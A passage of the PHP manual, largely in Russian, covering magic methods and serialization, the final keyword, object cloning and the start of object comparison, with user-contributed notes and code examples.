    protected $bar = "bar_value";

    public function __sleep() {
        return array("\0Base\0foo", "\0*\0bar");
    }
}

class Derived extends Base {
    public $baz = "baz_value";
    private $boo = "boo_value";

    public function __sleep() {
        // we have to merge our members with our parent's
        return array_merge(array("baz", "\0Derived\0boo"), parent::__sleep());
    }
}

class Leaf extends Derived {
    private $qux = "qux_value";
    protected $zaz = "zaz_value";
    public $blah = "blah_value";

    public function __sleep() {
        // again, merge our members with our parent's
        return array_merge(array("\0Leaf\0qux", "\0*\0zaz", "blah"), parent::__sleep());
    }
}

// test it
$test = new Leaf();
$s = serialize($test);
$test2 = unserialize($s);
echo $s;
print_r($test);
print_r($test2);

?>

Now if you comment out all of the __sleep() functions and output the serialized string, you will see that the output doesn't change.  The most important part of course is that with the proper __sleep() functions, we can unserialize the string and get a properly set up object.

I hope this solves the mystery for everybody.  __sleep() does work, if you use it correctly :-)
rayRO 02-Apr-2006 09:55
If you use the Magical Method '__set()', be shure that the call of
<?php
$myobject->test['myarray'] = 'data';
?>
will not appear!

For that u have to do it the fine way if you want to use __set Method ;)
<?php
$myobject->test = array('myarray' => 'data');
?>

If a Variable is already set, the __set Magic Method already wont appear!

My first solution was to use a Caller Class.
With that, i ever knew which Module i currently use!
But who needs it... :]
There are quiet better solutions for this...
Here's the Code:

<?php
class Caller {
    public $caller;
    public $module;

    function __call($funcname, $args = array()) {
        $this->setModuleInformation();

        if (is_object($this->caller) && function_exists('call_user_func_array'))
            $return = call_user_func_array(array(&$this->caller, $funcname), $args);
        else
            trigger_error("Call to Function with call_user_func_array failed", E_USER_ERROR);

        $this->unsetModuleInformation();
        return $return;
    }

    function __construct($callerClassName = false, $callerModuleName = 'Webboard') {
        if ($callerClassName == false)
            trigger_error('No Classname', E_USER_ERROR);

        $this->module = $callerModuleName;

        if (class_exists($callerClassName))
            $this->caller = new $callerClassName();
        else
            trigger_error('Class not exists: \''.$callerClassName.'\'', E_USER_ERROR);

        if (is_object($this->caller))
        {
            $this->setModuleInformation();
            if (method_exists($this->caller, '__init'))
                $this->caller->__init();
            $this->unsetModuleInformation();
        }
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
    }

    function __destruct() {
        $this->setModuleInformation();
        if (method_exists($this->caller, '__deinit'))
            $this->caller->__deinit();
        $this->unsetModuleInformation();
    }

    function __isset($isset) {
        $this->setModuleInformation();
        if (is_object($this->caller))
            $return = isset($this->caller->{$isset});
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
        $this->unsetModuleInformation();
        return $return;
    }

    function __unset($unset) {
        $this->setModuleInformation();
        if (is_object($this->caller)) {
            if (isset($this->caller->{$unset}))
                unset($this->caller->{$unset});
        }
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
        $this->unsetModuleInformation();
    }

    function __set($set, $val) {
        $this->setModuleInformation();
        if (is_object($this->caller))
            $this->caller->{$set} = $val;
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
        $this->unsetModuleInformation();
    }

    function __get($get) {
        $this->setModuleInformation();
        if (is_object($this->caller)) {
            if (isset($this->caller->{$get}))
                $return = $this->caller->{$get};
            else
                $return = false;
        }
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
        $this->unsetModuleInformation();
        return $return;
    }

    function setModuleInformation() {
        $this->caller->module = $this->module;
    }

    function unsetModuleInformation() {
        $this->caller->module = NULL;
    }
}

// Well this can be a Config Class?
class Config {
    public $module;

    public $test;

    function __construct()
    {
        print('Constructor will have no Module Information... Use __init() instead!<br />');
        print('--> '.print_r($this->module, 1).' <--');
        print('<br />');
        print('<br />');
        $this->test = '123';
    }

    function __init()
    {
        print('Using of __init()!<br />');
        print('--> '.print_r($this->module, 1).' <--');
        print('<br />');
        print('<br />');
    }

    function testFunction($test = false)
    {
        if ($test != false)
            $this->test = $test;
    }
}

echo('<pre>');
$wow = new Caller('Config', 'Guestbook');
print_r($wow->test);
print('<br />');
print('<br />');
$wow->test = '456';
print_r($wow->test);
print('<br />');
print('<br />');
$wow->testFunction('789');
print_r($wow->test);
print('<br />');
print('<br />');
print_r($wow->module);
echo('</pre>');
?>

Outputs something Like:

Constructor will have no Module Information... Use __init() instead!
-->  <--

Using of __init()!
--> Guestbook <--

123

456

789

Guestbook
docey 09-Dec-2005 08:44
about __sleep and _wakeup, consider using a method like this:

class core
{

 var $sub_core; //ref of subcore
 var $_sleep_subcore; // place where serialize version of sub_core will be stored

 function core(){
  $this->sub_core = new sub_core();
  return true;
 }

 function __wakeup()
 {
  // on wakeup of core, core unserializes sub_core
  // wich it had stored when it was serialized itself
  $this->sub_core = unserialize($this->_sleep_subcore);
  return true;
 }

 function __sleep()
 {
  // sub_core will be serialized when core is serialized.
  // the serialized subcore will be stored as a string inside core.
   $this->_sleep_subcore = serialize($this->sub_core);
   $return_arr[] = "_sleep_subcore";
   return $return_arr;
 }

}

class sub_core
{
 var $info;

 function sub_core()
 {
  $this->info["somedata"] = "somedata overhere"
 }

 function __wakeup()
 {
  return true;
 }

 function __sleep()
 {
  $return_arr[] = "info"
  return $return_arr;
 }

}

this way subcore is being serialized by core when core is being serialized. subcore handles its own data and core stores it as a serialize string inside itself. on wakeup core unserializes subcore.

this may have a performance cost, but if you have many objects connected this way this is the best way of serializing them. you only need to serialize the the main object wich will serialize all those below which will serialize all those below them again. in effect causing a sort of chainreaction in wich each object takes care of its own info.

offcoarse you always need to store the eventualy serialized string in a safe place. somebody got experience with this way of __wakeup and __sleep.

works in PHP4&5
martin dot goldinger at netserver dot ch 15-Aug-2005 04:47
When you use sessions, its very important to keep the sessiondata small, due to low performance with unserialize. Every class shoud extend from this class. The result will be, that no null Values are written to the sessiondata. It will increase performance.

<?
class BaseObject
{
    function __sleep()
    {
        $vars = (array)$this;
        foreach ($vars as $key => $val)
        {
            if (is_null($val))
            {
                unset($vars[$key]);
            }
        }
        return array_keys($vars);
    }
};
?>
jeffxlevy at gmail dot com 13-Aug-2005 06:26
Intriguing what happens when __sleep() and __wakeup() and sessions() are mixed. I had a hunch that, as session data is serialized, __sleep would be called when an object, or whatever, is stored in _SESSION. true. The same hunch applied when session_start() was called. Would __wakeup() be called? True. Very helpful, specifically as I'm building massive objects (well, lots of simple objects stored in sessions), and need lots of automated tasks (potentially) reloaded at "wakeup" time. (for instance, restarting a database session/connection).
ddavenport at newagedigital dot com 26-Jan-2005 11:09
One of the principles of OOP is encapsulation--the idea that an object should handle its own data and no others'.  Asking base classes to take care of subclasses' data, esp considering that a class can't possibly know how many dozens of ways it will be extended, is irresponsible and dangerous.

Consider the following...

<?php
class SomeStupidStorageClass
{
  public function getContents($pos, $len) { ...stuff... }
}

class CryptedStorageClass extends SomeStupidStorageClass
{
  private $decrypted_block;
  public function getContents($pos, $len) { ...decrypt... }
}
?>

If SomeStupidStorageClass decided to serialize its subclasses' data as well as its own, a portion of what was once an encrypted thingie could be stored, in the clear, wherever the thingie was stored.  Obviously, CryptedStorageClass would never have chosen this...but it had to either know how to serialize its parent class's data without calling parent::_sleep(), or let the base class do what it wanted to.

Considering encapsulation again, no class should have to know how the parent handles its own private data.  And it certainly shouldn't have to worry that users will find a way to break access controls in the name of convenience.

If a class wants both to have private/protected data and to survive serialization, it should have its own __sleep() method which asks the parent to report its own fields and then adds to the list if applicable.  Like so....

<?php

class BetterClass
{
  private $content;

  public function __sleep()
  {
    return array('basedata1', 'basedata2');
  }

  public function getContents() { ...stuff... }
}

class BetterDerivedClass extends BetterClass
{
  private $decrypted_block;

  public function __sleep()
  {
    return parent::__sleep();
  }

  public function getContents() { ...decrypt... }
}

?>

The derived class has better control over its data, and we don't have to worry about something being stored that shouldn't be.


Ключевое слово final

PHP предоставляет ключевое слово final, разместив которое перед объявлениями методов или констант класса, можно предотвратить их переопределение в дочерних классах. Если же сам класс определяется с этим ключевым словом, то он не сможет быть унаследован.

Пример #1 Пример окончательных (final) методов

<?php
class BaseClass {
public function test() {
echo "Вызван метод BaseClass::test()\n";
}

final public function moreTesting() {
echo "Вызван метод BaseClass::moreTesting()\n";
}
}

class ChildClass extends BaseClass {
public function moreTesting() {
echo "Вызван метод ChildClass::moreTesting()\n";
}
}
// Выполнение заканчивается фатальной ошибкой: Cannot override final method BaseClass::moreTesting()
// (Окончательный (final) метод BaseClass::moreТesting() не может быть переопределён)
?>

Пример #2 Пример окончательного (final) класса

<?php
final class BaseClass {
public function test() {
echo "Вызван метод BaseClass::test()\n";
}

// Поскольку класс уже является final, ключевое слово final является избыточным
final public function moreTesting() {
echo "BaseClass::moreTesting() called\n";
}
}

class ChildClass extends BaseClass {
}
// Выполнение заканчивается фатальной ошибкой: Class ChildClass may not inherit from final class (BaseClass)
// (Класс ChildClass не может быть унаследован от окончательного класса (BaseClass))
?>

Пример #3 Пример окончательной (final) константы класса, начиная с PHP 8.1.0

<?php
class Foo
{
final public const X = "foo";
}

class Bar extends Foo
{
public const X = "bar";
}

// Ошибка: Bar::X не может переопределить окончательную константу Foo::X
?>

Замечание: Свойства не могут быть объявлены окончательными: только классы, методы и константы (начиная с PHP 8.1.0) могут быть объявлены как окончательные (final). Начиная с PHP 8.0.0, закрытые методы не могут быть объявлены окончательными, за исключением конструктора.

User Contributed Notes

Rumour 03-May-2023 01:56
Class constants CAN be "finalised" since PHP8.1. To partly contradict to the most popular user contribution, that was written a long time ago, they were still absolutely right.
John smith 11-Aug-2017 08:59
Right way:
 final protected function example() {
}

Wrong way:

protected final function example() {
}

Source: Practices
suisuiruyi at gmail dot com 06-Jun-2016 09:07
Note: Properties cannot be declared final, only classes and methods may be declared as final.
you can use trait:
<?php
trait PropertiesTrait {
    public $same = true;
    public $different = false;
}

class PropertiesExample {
    use PropertiesTrait;
    public $same = true; // Strict Standards
    public $different = true; // ????
}
?>
xavier dot inghels at gmail dot com 31-Mar-2015 09:47
Final is not really about overriding or overloading a method.
PHP doesn't support (yet ?) method ovverriding.

The final keyword however prevent you to redefine a method already previously declared.
mattsch at gmail dot com 03-Jun-2014 07:24
You can use final methods to replace class constants.  The reason for this is you cannot unit test a class constant used in another class in isolation because you cannot mock a constant.   Final methods allow you to have the same functionality as a constant while keeping your code loosely coupled.

Tight coupling example (bad to use constants):

<?php
interface FooInterface
{
}

class Foo implements FooInterface
{
    const BAR = 1;

    public function __construct()
    {
    }
}

interface BazInterface
{
    public function getFooBar();
}

// This class cannot be unit tested in isolation because the actual class Foo must also be loaded to get the value of Foo::BAR
class Baz implements BazInterface
{
    private $foo;

    public function __construct(FooInterface $foo)
    {
        $this->foo = $foo;
    }

    public function getFooBar()
    {
        return Foo::BAR;
    }

}

$foo = new Foo();
$baz = new Baz($foo);
$bar = $baz->getFooBar();
?>

Loose coupling example (eliminated constant usage):

<?php
interface FooInterface
{
    public function bar();
}

class Foo implements FooInterface
{
    public function __construct()
    {
    }

    final public function bar()
    {
        return 1;
    }
}

interface BazInterface
{
    public function getFooBar();
}

// This class can be unit tested in isolation because class Foo does not need to be loaded by mocking FooInterface and calling the final bar method.
class Baz implements BazInterface
{
    private $foo;

    public function __construct(FooInterface $foo)
    {
        $this->foo = $foo;
    }

    public function getFooBar()
    {
        return $this->foo->bar();
    }

}

$foo = new Foo();
$baz = new Baz($foo);
$bar = $baz->getFooBar();
?>
cottton at i-stats dot net 12-May-2014 06:02
imo good to know:
<?php
class BaseClass
{
    protected static $var = 'i belong to BaseClass';

    public static function test()
    {
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and this is my var: `'.self::$var.'`<br>';
    }
    public static function changeVar($val)
    {
        self::$var = $val;
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and i just changed my $var to: `'.self::$var.'`<br>';
    }
    final public static function dontCopyMe($val)
    {
        self::$var = $val;
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and i just changed my $var to: `'.self::$var.'`<br>';
    }
}

class ChildClass extends BaseClass
{
    protected static $var = 'i belong to ChildClass';

    public static function test()
    {
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and this is my var: `'.self::$var.'`<br>'.
            'and this is my parent var: `'.parent::$var.'`';
    }
    public static function changeVar($val)
    {
        self::$var = $val;
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and i just changed my $var to: `'.self::$var.'`<br>'.
            'but the parent $var is still: `'.parent::$var.'`';
    }
    public static function dontCopyMe($val) // Fatal error: Cannot override final method BaseClass::dontCopyMe() in ...
    {
        self::$var = $val;
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and i just changed my $var to: `'.self::$var.'`<br>';
    }
}

BaseClass::test();  // i am `BaseClass::test()` and this is my var: `i belong to BaseClass`
ChildClass::test(); // i am `ChildClass::test()` and this is my var: `i belong to ChildClass`
                    // and this is my parent var: `i belong to BaseClass`
ChildClass::changeVar('something new'); // i am `ChildClass::changeVar()` and i just changed my $var to: `something new`
                                        // but the parent $var is still: `i belong to BaseClass`
BaseClass::changeVar('something different'); // i am `BaseClass::changeVar()` and i just changed my $var to: `something different`
BaseClass::dontCopyMe('a text'); // i am `BaseClass::dontCopyMe()` and i just changed my $var to: `a text`
ChildClass::dontCopyMe('a text'); // Fatal error: Cannot override final method BaseClass::dontCopyMe() in ...
?>
t at bestcodepractise dot com 22-Feb-2014 10:18
@someone
@thomas
Decorating a finalized class is not possible. The decorator that's mentioned is incomplete. There's a fundamental flaw in it. Look:
<?php
//copy'n'paste your FooBar, Foo definition

$f = new Foo;
$fd = new FooDecorator($f);

var_dump($fd instanceof $f);  //FALSE
var_dump(is_a($fd, 'Foo')); //FALSE
fooFoo($fd);  //E_RECOVERABLE_ERROR here !!!;

?>
What you've created is just an object that happens to have the same methods(a duck type). But if in the client code someone makes decision based on the type of your passed decorator they'll make incorrect decision - or to be more precise not the one that you, the author of the 'decorator' wants them to make.
FYI that's the correct implementation based on GoF:
<?php
class Foo
{
    public method doFoo()
    {
        // do something useful and return a result
    }
}

//decorator must inherit the interface(the methods, type info etc.) //of the decorated class by *extending* it.
class FooDecorator extends Foo
{
    private $foo;

    public function __construct(Foo $foo)
    {
        $this->foo = $foo;
    }

    public function doFoo()
    {
          $result = $this->foo->doFoo();
          // ... customize result ...
          return $result;
    }
}

function fooFoo(Foo $f) {}
$f = new Foo;
$fd = new FooDecorator($f);

var_dump($fd instanceof $f); //true
fooFoo($fd); //no E_RECOVERABLE_ERROR here;

?>

I haven't come across any legitimate use of a finalizing class/method and I personally think that 'final' is has no much use and is just a copy'n'pasted from Java into PHP. The keyword makes code difficult to test. If you have to create a test double from a finalized class because you'll need create a derived type to shadow the methods you don't care about. If one of them is finalized you've already lost.
someone dot else at elsewhere dot net 04-Jan-2014 10:40
@thomas at somewhere dot com

The 'final' keyword is extremely useful.  Inheritance is also useful, but can be abused and becomes problematic in large applications.  If you ever come across a finalized class or method that you wish to extend, write a decorator instead.

<?php
final class Foo
{
    public method doFoo()
    {
        // do something useful and return a result
    }
}

final class FooDecorator
{
    private $foo;

    public function __construct(Foo $foo)
    {
        $this->foo = $foo;
    }

    public function doFoo()
    {
          $result = $this->foo->doFoo();
          // ... customize result ...
          return $result;
    }
}
?>
Anonymous 28-Sep-2010 07:06
The behaviour of FINAL is not as serious as you may think. A little explample:
<?php
class A {
     final private function method(){}
}

class B extends A {
    private function method(){}
}
?>

Normally you would expect some of the following will happen:
- An error that final and private keyword cannot be used together
- No error as the private visibility says, that a method/var/etc. is only visible within the same class

But what happens is PHP is a little curios: "Cannot override final method A::method()"

So its possible to deny method names in subclasses! Don't know if this is  a good behavior, but maybe its useful for your purpose.
Baldurien 31-Aug-2010 01:37
"Note for Java developers: the 'final' keyword is not used for class constants in PHP. We use the keyword 'const'."

http://php.net/manual/en/language.oop5.constants.php

This is more or less true, regardless of the fact that constant (being defined at class level or not) in PHP are only scalar (int, string, etc) while in Java they may be pure object (ex: java.awat.Color.BLACK). The only possible solution of having such kind of constant is :

<?php
class Bar {...}
class Foo {
  public static $FOOBAR;

  static function __init() {
    static $init = false;
    if ($init) throw new Exception('Constants were already initialized');
    self::$FOOBAR = new Bar();
    $init = true;
  }
}
Foo::__init();
?>
That said, perhaps it is useless unless PHP automatically calls the __init() method.

However, one alternative that could be done in certain case is this :

<?php
function __autoload($className) {
  ... require the file where the class is ...
  if (interface_exists($className, false)) return;
  if (class_exists($className, false)) {
    $rc = new ReflectionClass($className);
    if (!$rc->hasMethod('__init')) return;
    $m = $rc->getMethod('__init');
    if (!($m->isStatic() && $m->isPrivate())) {
      throw new Exception($className . ' __init() method must be private and static !');
    }
    $m->invoke(null);
    return;
  }
  throw new Exception('Class or interface not found ' . $className);
}
?>

This can only work when one class is defined per file, since we are assured that __autoload() will be called to load the file containing the class.

eg:

test2.php:
<?php
class B {
 public static $X;
 private static function __init() {
   echo 'B', "\n";
   self::$X = array(1, 2);
 }
}
class A {
  public static $Y;
  private static function __init() {
    echo 'A', "\n";
    self::$Y = array(3, 4);
  }
}
?>
test.php:
<?php
function __autoload($n) {
  if ($n == 'A' || $n == 'B') require 'test2.php';
  ... do our __init() trick ...
}
var_dump(B::$X); // shows B, then array(2) (1, 2)
var_dump(A::$Y); // shows NULL.
?>
jriddy at gmail dot com 17-Jul-2009 02:20
Note for Java developers: the 'final' keyword is not used for class constants in PHP. We use the keyword 'const'.

http://php.net/manual/en/language.oop5.constants.php
santoshjoshi2003 at yahoo dot co dot in 05-Dec-2008 02:45
The use of final keyword is just like that occurs in Java
In java final has three uses
    1) prevent class Inheritance
    2) prevent method overriding or redifination of
        method in subclass
    3) and to declare constants
 But the third point seems to be missing from the PHP
 I guess, as i am a java developer Currently gaining competence in PHP
slorenzo at clug dot org dot ve 30-Oct-2007 11:13
<?php
class parentClass {
    public function someMethod() { }
}
class childClass extends parentClass {
    public final function someMethod() { } //override parent function
}

$class = new childClass;
$class->someMethod(); //call the override function in chield class
?>
penartur at yandex dot ru 22-Mar-2007 01:39
Note that you cannot ovverride final methods even if they are defined as private in parent class.
Thus, the following example:
<?php
class parentClass {
    final private function someMethod() { }
}
class childClass extends parentClass {
    private function someMethod() { }
}
?>
dies with error "Fatal error: Cannot override final method parentClass::someMethod() in ***.php on line 7"

Such behaviour looks slight unexpected because in child class we cannot know, which private methods exists in a parent class and vice versa.

So, remember that if you defined a private final method, you cannot place method with the same name in child class.


Клонирование объектов

Создание копии объекта с абсолютно идентичными свойствами не всегда является приемлемым вариантом. Хорошим примером необходимости копирования конструкторов может послужить ситуация, когда у вас есть объект, представляющий собой окно GTK и содержащий ресурс-идентификатор этого окна; когда вы создаёте копию этого объекта, вам может понадобиться, чтобы копия объекта содержала ресурс-идентификатор нового окна. Другим примером может послужить ситуация, когда ваш объект содержит ссылку на какой-либо другой используемый объект и, когда вы создаёте копию родительского объекта, вам нужно также создать новый экземпляр этого другого объекта, так, чтобы копия объекта-контейнера содержала собственный отдельный экземпляр содержащегося объекта.

Копия объекта создаётся с использованием ключевого слова clone (который вызывает метод __clone() объекта, если это возможно).

$copy_of_object = clone $object;

При клонировании объекта, PHP выполняет поверхностную копию всех свойств объекта. Любые свойства, являющиеся ссылками на другие переменные, останутся ссылками.

__clone(): void

После завершения клонирования, если метод __clone() определён, то будет вызван метод __clone() вновь созданного объекта для возможного изменения всех необходимых свойств.

Пример #1 Клонирование объекта

<?php
class SubObject
{
static $instances = 0;
public $instance;

public function __construct() {
$this->instance = ++self::$instances;
}

public function __clone() {
$this->instance = ++self::$instances;
}
}

class MyCloneable
{
public $object1;
public $object2;

function __clone()
{
// Принудительно клонируем this->object1, иначе
// он будет указывать на один и тот же объект.
$this->object1 = clone $this->object1;
}
}

$obj = new MyCloneable();

$obj->object1 = new SubObject();
$obj->object2 = new SubObject();

$obj2 = clone $obj;

print("Оригинальный объект:\n");
print_r($obj);

print("Клонированный объект:\n");
print_r($obj2);

?>

Результат выполнения данного примера:

Оригинальный объект:
MyCloneable Object
(
    [object1] => SubObject Object
        (
            [instance] => 1
        )

    [object2] => SubObject Object
        (
            [instance] => 2
        )

)
Клонированный объект:
MyCloneable Object
(
    [object1] => SubObject Object
        (
            [instance] => 3
        )

    [object2] => SubObject Object
        (
            [instance] => 2
        )

)

Возможно обращаться к свойствам/методам только что склонированного объекта:

Пример #2 Доступ к только что склонированному объекту

<?php
$dateTime = new DateTime();
echo (clone $dateTime)->format('Y');
?>

Результатом выполнения данного примера будет что-то подобное:

2016

User Contributed Notes

tolgakaragol at gmail dot com 28-Aug-2019 07:53
Here is a basic example about clone issue. If we use clone in getClassB method. Return value will be same as new B() result. But it we dont use clone we can effect B::$varA.

class A
{
    protected $classB;

    public function __construct(){
        $this->classB = new B();
    }

    public function getClassB()
    {
        return clone $this->classB;
    }
}

class B
{
    protected $varA = 2;

    public function getVarA()
    {
        return $this->varA;
    }

    public function setVarA()
    {
        $this->varA = 3;
    }
}

$a = new A();

$classB = $a->getClassB();

$classB->setVarA();

echo $a->getClassB()->getVarA() . PHP_EOL;// with clone -> 2, without clone it returns -> 3

echo $classB->getVarA() . PHP_EOL; // returns always 3
flaviu dot chelaru at gmail dot com 11-Jun-2018 07:09
<?php

class Foo
{
    private $bar = 1;

    public function get()
    {
        $x = clone $this;
        return $x->bar;
    }
}
// will NOT throw exception.
// Foo::$bar property is visible internally even if called as external on the clone
print (new Foo)->get();
yinzw at chuchujie dot com 05-Jul-2016 01:10
It's clearly depicted in the manual, about the mechanism of clone process:
- First, shallow copy: properties of references will keep references (refer to the same target/variable)
- Then, change content/property as requested (calling __clone method which is defined by user).

To illustrate this process, the following example codes seems better, comparing the the original version:

class SubObject
{
    static $num_cons = 0;
    static $num_clone = 0;

    public $construct_value;
    public $clone_value;

    public function __construct() {
        $this->construct_value = ++self::$num_cons;
    }

    public function __clone() {
        $this->clone_value = ++self::$num_clone;
    }
}

class MyCloneable
{
    public $object1;
    public $object2;

    function __clone()
    {
        // ??????this->object, ???????????
        $this->object1 = clone $this->object1;
    }
}

$obj = new MyCloneable();

$obj->object1 = new SubObject();
$obj->object2 = new SubObject();

$obj2 = clone $obj;

print("Original Object:\n");
print_r($obj);
echo '<br>';
print("Cloned Object:\n");
print_r($obj2);

==================

the output is as below

Original Object:
MyCloneable Object
(
    [object1] => SubObject Object
        (
            [construct_value] => 1
            [clone_value] =>
        )

    [object2] => SubObject Object
        (
            [construct_value] => 2
            [clone_value] =>
        )

)
<br>Cloned Object:
MyCloneable Object
(
    [object1] => SubObject Object
        (
            [construct_value] => 1
            [clone_value] => 1
        )

    [object2] => SubObject Object
        (
            [construct_value] => 2
            [clone_value] =>
        )

)
fabio at naoimporta dot com 21-Feb-2016 09:53
It's possible to know how many clones have been created of a  object. I'm think that is correct:

<?php

class Classe {

    public static $howManyClones = 0;

    public function __clone() {
        ++static::$howManyClones;
    }

    public static function howManyClones() {
        return static::$howManyClones;
    }

    public function __destruct() {
        --static::$howManyClones;
    }
}

$a = new Classe;

$b = clone $a;
$c = clone $b;
$d = clone $c;

echo 'Clones:' . Classe::howManyClones() . PHP_EOL;

unset($d);

echo 'Clones:' . Classe::howManyClones() . PHP_EOL;
jason at jewelrysupply dot com 24-Sep-2015 09:44
@DPB

I believe the two functions are not quite the same. The serialize followed by deserialize method is the way I've done deep cloning in other languages (bypasses any weird clone function behavior and ensures you have a no-strings-attached copy of the object).
stanislav dot eckert at vizson dot de 13-Dec-2014 12:53
This base class automatically clones attributes of type object or array values of type object recursively. Just inherit your own classes from this base class.

<?php
    class clone_base
    {
        public function __clone()
        {
            $object_vars = get_object_vars($this);

            foreach ($object_vars as $attr_name => $attr_value)
            {
                if (is_object($this->$attr_name))
                {
                    $this->$attr_name = clone $this->$attr_name;
                }
                else if (is_array($this->$attr_name))
                {
                    // Note: This copies only one dimension arrays
                    foreach ($this->$attr_name as &$attr_array_value)
                    {
                        if (is_object($attr_array_value))
                        {
                            $attr_array_value = clone $attr_array_value;
                        }
                        unset($attr_array_value);
                    }
                }
            }
        }
    }
?>

Example:
<?php
    class foo extends clone_base
    {
        public $attr = "Hello";
        public $b = null;
        public $attr2 = array();

        public function __construct()
        {
            $this->b = new bar("World");
            $this->attr2[] = new bar("What's");
            $this->attr2[] = new bar("up?");
        }
    }

    class bar extends clone_base
    {
        public $attr;

        public function __construct($attr_value)
        {
            $this->attr = $attr_value;
        }
    }

    echo "<pre>";

    $f1 = new foo();
    $f2 = clone $f1;
    $f2->attr = "James";
    $f2->b->attr = "Bond";
    $f2->attr2[0]->attr = "Agent";
    $f2->attr2[1]->attr = "007";

    echo "f1.attr = " . $f1->attr . "\n";
    echo "f1.b.attr = " . $f1->b->attr . "\n";
    echo "f1.attr2[0] = " . $f1->attr2[0]->attr . "\n";
    echo "f1.attr2[1] = " . $f1->attr2[1]->attr . "\n";
    echo "\n";
    echo "f2.attr = " . $f2->attr . "\n";
    echo "f2.b.attr = " . $f2->b->attr . "\n";
    echo "f2.attr2[0] = " . $f2->attr2[0]->attr . "\n";
    echo "f2.attr2[1] = " . $f2->attr2[1]->attr . "\n";
?>
jojor at gmx dot net 07-Jun-2010 01:47
Here is test script i wrote to test the behaviour of clone when i have arrays with primitive values in my class - as an additonal test of the note below by jeffrey at whinger dot nl

<pre>
<?php

class MyClass {

    private $myArray = array();
    function pushSomethingToArray($var) {
        array_push($this->myArray, $var);
    }
    function getArray() {
        return $this->myArray;
    }

}

//push some values to the myArray of Mainclass
$myObj = new MyClass();
$myObj->pushSomethingToArray('blue');
$myObj->pushSomethingToArray('orange');
$myObjClone = clone $myObj;
$myObj->pushSomethingToArray('pink');

//testing
print_r($myObj->getArray());     //Array([0] => blue,[1] => orange,[2] => pink)
print_r($myObjClone->getArray());//Array([0] => blue,[1] => orange)
//so array  cloned

?>
</pre>
emile at webflow dot nl 02-Mar-2010 01:27
Another gotcha I encountered: like __construct and __desctruct, you must call parent::__clone() yourself from inside a child's __clone() function. The manual kind of got me on the wrong foot here: "An object's __clone() method cannot be called directly."
ben at last dot fm 05-Jun-2009 10:33
Here are some cloning and reference gotchas we came up against at Last.fm.

1. PHP treats variables as either 'values types' or 'reference types', where the difference is supposed to be transparent. Object cloning is one of the few times when it can make a big difference. I know of no programmatic way to tell if a variable is intrinsically a value or reference type. There IS however a non-programmatic ways to tell if an object property is value or reference type:

<?php

class A { var $p; }

$a = new A;
$a->p = 'Hello'; // $a->p is a value type
var_dump($a);

/*
object(A)#1 (1) {
  ["p"]=>
  string(5) "Hello" // <-- no &
}
*/

$ref =& $a->p; // note that this CONVERTS $a->p into a reference type!!
var_dump($a);

/*
object(A)#1 (1) {
  ["p"]=>
  &string(5) "Hello" // <-- note the &, this indicates it's a reference.
}
*/

?>

2. unsetting all-but-one of the references will convert the remaining reference back into a value. Continuing from the previous example:

<?php

unset($ref);
var_dump($a);

/*
object(A)#1 (1) {
  ["p"]=>
  string(5) "Hello"
}
*/

?>

I interpret this as the reference-count jumping from 2 straight to 0. However...

2. It IS possible to create a reference with a reference count of 1 - i.e. to convert an property from value type to reference type, without any extra references. All you have to do is declare that it refers to itself. This is HIGHLY idiosyncratic, but nevertheless it works. This leads to the observation that although the manual states that 'Any properties that are references to other variables, will remain references,' this is not strictly true. Any variables that are references, even to *themselves* (not necessarily to other variables), will be copied by reference rather than by value.

Here's an example to demonstrate:

<?php

class ByVal
{
    var $prop;
}

class ByRef
{
    var $prop;
    function __construct() { $this->prop =& $this->prop; }
}

$a = new ByVal;
$a->prop = 1;
$b = clone $a;
$b->prop = 2; // $a->prop remains at 1

$a = new ByRef;
$a->prop = 1;
$b = clone $a;
$b->prop = 2; // $a->prop is now 2

?>
cheetah at tanabi dot org 18-Nov-2008 05:15
Want deep cloning without too much hassle?

<?php
function __clone() {
    foreach($this as $key => $val) {
        if(is_object($val)||(is_array($val))){
            $this->{$key} = unserialize(serialize($val));
        }
    }
}
?>

That will insure any object, or array that may potentially contain objects, will get cloned without using recursion or other support methods.

[EDIT BY danbrown AT php DOT net: An almost exact function was contributed on 02-DEC-2008-10:18 by (david ashe AT metabin):

<?php
    function __clone(){
        foreach($this as $name => $value){
            if(gettype($value)=='object'){
                $this->$name= clone($this->$name);
            }
        }
    }
?>

Giving credit where it's due.  ~DPB]
[EDIT BY cmb AT php DOT net: the latter function fails to make deep copies of object arrays, and might end up with infinite recursion.]
crrodriguez at suse dot de 12-Mar-2008 09:52
Keep in mind that since PHP 5.2.5, trying to clone a non-object correctly results in a fatal error, this differs from previous versions where only a Warning was thrown.
Hayley Watson 17-Dec-2007 03:51
It should go without saying that if you have circular references, where a property of object A refers to object B while a property of B refers to A (or more indirect loops than that), then you'll be glad that clone does NOT automatically make a deep copy!

<?php

class Foo
{
    var $that;

function __clone()
{
    $this->that = clone $this->that;
}

}

$a = new Foo;
$b = new Foo;
$a->that = $b;
$b->that = $a;

$c = clone $a;
echo 'What happened?';
var_dump($c);
MakariVerslund at gmail dot com 21-Jan-2007 04:30
I ran into the same problem of an array of objects inside of an object that I wanted to clone all pointing to the same objects. However, I agreed that serializing the data was not the answer. It was relatively simple, really:

public function __clone() {
    foreach ($this->varName as &$a) {
        foreach ($a as &$b) {
            $b = clone $b;
        }
    }
}

Note, that I was working with a multi-dimensional array and I was not using the Key=>Value pair system, but basically, the point is that if you use foreach, you need to specify that the copied data is to be accessed by reference.
jorge dot villalobos at gmail dot com 30-Mar-2005 03:29
I think it's relevant to note that __clone is NOT an override. As the example shows, the normal cloning process always occurs, and it's the responsibility of the __clone method to "mend" any "wrong" action performed by it.


Сравнение объектов

При использовании оператора сравнения (==), свойства объектов просто сравниваются друг с другом, а именно: два объекта равны, если они имеют одинаковые атрибуты и значения (значения сравниваются через ==) и являются экземплярами одного и того же класса.

С другой стороны, при использовании оператора идентичности (===), переменные, содержащие объекты, считаются идентичными только тогда, когда они ссылаются на один и тот же экземпляр одного и того же класса.

Следующий пример пояснит эти правила.

Пример #1 Пример сравнения объектов

<?php
function bool2str($bool)
